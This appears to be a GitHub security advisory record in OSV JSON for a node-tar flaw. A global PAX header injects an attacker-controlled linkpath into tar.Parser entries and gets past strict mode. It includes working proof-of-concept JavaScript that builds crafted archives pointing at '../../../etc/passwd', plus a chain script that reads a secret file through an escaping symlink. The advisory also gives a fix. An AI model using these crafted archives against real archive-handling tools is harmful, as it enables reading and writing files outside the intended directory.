{"id":"GHSA-ffhw-4r4q-5cwv","summary":"node-tar: Global PAX extended header injects attacker-controlled linkpath into tar.Parser entries, bypassing strict-mode validation","details":"## Summary\n\nA tar archive with a **Global Extended Header** (PAX type `g`) with a `linkpath` field injects that value into every entry returned by `tar.Parser` , including plain `File` and `Directory` entries, with **zero warnings under `strict: true`**. This happens because `header.js`'s `#slurp()` correctly excludes `linkpath` from global headers, but `read-entry.js`'s `#slurp()` does not apply the same filter. Any application that consumes `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build paths or create symlinks, without revalidating the value, can be made to read or write files outside the intended directory via a crafted symlink.\n\n---\n\n## Details\n\nThere are two separate `#slurp()` implementations apply Global Extended Header (`g`-type) fields to parsed state, and they filter different fields.\n\nIn `src/header.js`, `#slurp(ex, gex = false)` **correctly** excludes `linkpath` when `gex` is `true`:\n\n```js\n// header.js (correct)\nif (k === 'linkpath' && gex) continue;\n```\n\nIn `src/read-entry.js`, the equivalent method has **no such clause** — it only excludes `path`:\n\n```js\n// read-entry.js (bug: linkpath is not excluded)\nif (k === 'path' && gex) continue;\n// linkpath from the GEX is not filtered here\n```\n\nThe execution flow:\n\n1. `parse.js` calls `Pax.parse(meta, gex, true)` → stores the GEX object, including the `linkpath` field\n2. `header.js` decode runs `#slurp(gex, true)` → correctly skips `linkpath` → `header.linkpath` is empty\n3. `consumeHeader()` checks `header.linkpath` (empty) → the `\"linkpath forbidden in global header\"` warning **never fires**\n4. `ReadEntry` constructor runs `this.#slurp(gex, true)` → no `linkpath` filter → **`entry.linkpath` is set to the attacker's value with no warning raised**\n\nConfirmed against `tar@7.5.22`:\n\n- `node_modules/tar/dist/commonjs/read-entry.js` lines 122–132 (buggy `#slurp`)\n- `node_modules/tar/dist/commonjs/header.js` lines 184–194 (correct `#slurp`)\n\n**Scope note:** `tar`'s own extraction engine (`Unpack`, used by `tar.x()` / `tar.extract()`) has a separate guard, `STRIPABSOLUTEPATH`, that resolves `linkpath` relative to the entry's directory and rejects it if it escapes `cwd`. This guard fires **after** `ReadEntry` is constructed and blocks the traversal at extraction time:\n\n- `tar.x()` / `tar.extract()` → **not vulnerable** (confirmed: throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`)\n- `tar.Parser` / `tar.list()` direct consumers that trust `entry.linkpath` → **vulnerable**\n\n---\n\n## Proof of Concept\n\nEnvironment: Node.js v22.23.4, `tar@7.5.22`. Run: `npm install tar@7.5.22 && node \u003cscript\u003e.js`\n\n### poc-tar1.js — zero-warning injection via `tar.Parser` with `strict: true`\n\n```js\nconst tar = require('tar')\n\nfunction padBlock(buf) {\n  const rem = buf.length % 512\n  return rem === 0 ? buf : Buffer.concat([buf, Buffer.alloc(512 - rem)])\n}\nfunction mkHeader(fields) {\n  const b = Buffer.alloc(512, 0)\n  const ws = (s, off, len) =\u003e\n    b.write(String(s || '').slice(0, len).padEnd(len, '\\0'), off, 'latin1')\n  const wo = (n, off, len) =\u003e\n    ws(n.toString(8).padStart(len - 1, '0') + '\\0', off, len)\n  ws(fields.path  || 'file', 0,   100)\n  wo(fields.mode  || 0o644,  100, 8)\n  wo(0, 108, 8); wo(0, 116, 8)\n  wo(fields.size  || 0,      124, 12)\n  wo(Math.floor(Date.now() / 1000), 136, 12)\n  b.write('        ', 148, 'latin1')\n  ws(fields.type  || '0',    156, 1)\n  ws(fields.linkpath || '',  157, 100)\n  b.write('ustar\\000', 257, 'latin1')\n  b.write('00',        263, 'latin1')\n  let sum = 0\n  for (let i = 0; i \u003c 512; i++) sum += b[i]\n  wo(sum, 148, 8)\n  return b\n}\nfunction mkGEX(kvpairs) {\n  let body = ''\n  for (const [k, v] of Object.entries(kvpairs)) {\n    const keyval = ` ${k}=${v}\\n`\n    const len = String(keyval.length).length + keyval.length\n    body += `${len} ${k}=${v}\\n`\n  }\n  const bodyBuf = Buffer.from(body, 'utf8')\n  const hdr = mkHeader({ path: 'GlobalPaxHeader', size: bodyBuf.length, type: 'g' })\n  return Buffer.concat([hdr, padBlock(bodyBuf)])\n}\n\nconst archive = Buffer.concat([\n  mkGEX({ linkpath: '../../../etc/passwd' }),\n  mkHeader({ path: 'README.md',    type: '0', size: 0 }),\n  mkHeader({ path: 'src/index.js', type: '0', size: 0 }),\n  mkHeader({ path: 'package.json', type: '0', size: 0 }),\n  Buffer.alloc(1024, 0),\n])\n\nconst warnings = []\nconst parser = new tar.Parser({ strict: true, onwarn: (c, m) =\u003e warnings.push(m) })\nparser.on('entry', entry =\u003e {\n  console.log(`${entry.path} | ${entry.type} | linkpath: ${entry.linkpath}`)\n  entry.resume()\n})\nparser.on('end', () =\u003e {\n  console.log('warnings under strict:true:', warnings.length === 0 ? 'NONE' : warnings)\n})\nparser.end(archive)\n```\n\n**Expected output:**\n\n```\nREADME.md    | File | linkpath: ../../../etc/passwd\nsrc/index.js | File | linkpath: ../../../etc/passwd\npackage.json | File | linkpath: ../../../etc/passwd\nwarnings under strict:true: NONE\n```\n\n### chain-tar1.js — arbitrary file read via a vulnerable downstream consumer\n\nModels a tool that uses `tar.Parser` to inspect an archive and then acts on `entry.linkpath` without checking it:\n\n```js\nconst tar  = require('tar')\nconst fs   = require('fs')\nconst path = require('path')\nconst os   = require('os')\n\nconst tmpdir = fs.mkdtempSync(path.join(os.tmpdir(), 'chain-'))\nconst cwd    = path.join(tmpdir, 'extract')\nconst secret = path.join(tmpdir, 'secret.txt')\nfs.mkdirSync(cwd)\nfs.writeFileSync(secret, 'db_password=hunter2\\napi_key=sk-REAL\\n')\n\n// Same helpers (padBlock, mkHeader, mkGEX) as poc-tar1.js above\n\nconst archive = Buffer.concat([\n  mkGEX({ linkpath: '../../secret.txt' }),\n  mkHeader({ path: 'subdir/link', type: '2', linkpath: 'safe' }),\n  Buffer.alloc(1024, 0),\n])\n\nconst parser = new tar.Parser()\nparser.on('entry', entry =\u003e {\n  if (entry.type === 'SymbolicLink') {\n    const target   = entry.linkpath   // GEX-injected value\n    const linkAt   = path.join(cwd, entry.path)\n    fs.mkdirSync(path.dirname(linkAt), { recursive: true })\n    fs.symlinkSync(target, linkAt)\n    const resolved = path.resolve(path.dirname(linkAt), target)\n    console.log('symlink:', linkAt, '-\u003e', target)\n    console.log('escapes cwd:', !resolved.startsWith(cwd))\n    if (fs.existsSync(resolved))\n      console.log('READ:', fs.readFileSync(resolved, 'utf8'))\n  }\n  entry.resume()\n})\nparser.end(archive)\n```\n\n### control-tar1-extraction-not-vulnerable.js — confirms `tar.x()` is not affected\n\nThe same archive fed to `tar.x()` throws `TAR_ENTRY_ERROR: linkpath escapes extraction directory`. The `Unpack` layer's `STRIPABSOLUTEPATH` guard blocks the traversal at extraction time.\n\n---\n\n## Impact\n\n**CWE-20:** Improper Input Validation **CWE-345:** Insufficient Verification of Data Authenticity\n\nImpacted: any application or tool that uses `tar.Parser` or `tar.list()` directly and uses `entry.linkpath` to build filesystem paths, create symlinks, or make routing decisions **without checking that the value stays within the expected directory**. This includes archive inspection tools, CI/CD tarball scanners, and custom extraction logic built on top of the `Parser` API. It also breaks `strict: true`, which is supposed to throw on dangerous archive contents.\n\nNot impacted: applications that only use `tar.x()` / `tar.extract()` for extraction, because `Unpack`'s `STRIPABSOLUTEPATH` guard rejects an escaping `linkpath` at that layer.\n\nImpact on a vulnerable consumer is **arbitrary file read and/or write** outside the extraction directory via a crafted symlink.\n\n---\n\n## Suggested Fix\n\nOne line in `src/read-entry.ts`, inside `#slurp()`, adding the same filter that already exists in `src/header.ts`:\n\n```ts\n// before (read-entry.ts)\nreturn !(v === null || v === undefined || (k === 'path' && gex));\n\n// after\nreturn !(v === null || v === undefined || (k === 'path' && gex) || (k === 'linkpath' && gex));\n```","aliases":["CVE-2026-140239"],"modified":"2026-12-02T01:45:50.622427386Z","published":"2026-12-02T01:25:07Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-12-02T01:25:07Z","nvd_published_at":"2026-12-01T18:17:27Z","cwe_ids":["CWE-20","CWE-345"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-ffhw-4r4q-5cwv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140239"},{"type":"WEB","url":"https://github.com/isaacs/node-tar/commit/f351e5b4a8916bc8c8f821d0ad926a17d26ea237"},{"type":"PACKAGE","url":"https://github.com/isaacs/node-tar"},{"type":"WEB","url":"https://github.com/isaacs/node-tar/releases/tag/v8.0.0"}],"affected":[{"package":{"name":"tar","ecosystem":"npm","purl":"pkg:npm/tar"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"8.0.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-ffhw-4r4q-5cwv/GHSA-ffhw-4r4q-5cwv.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N"}]}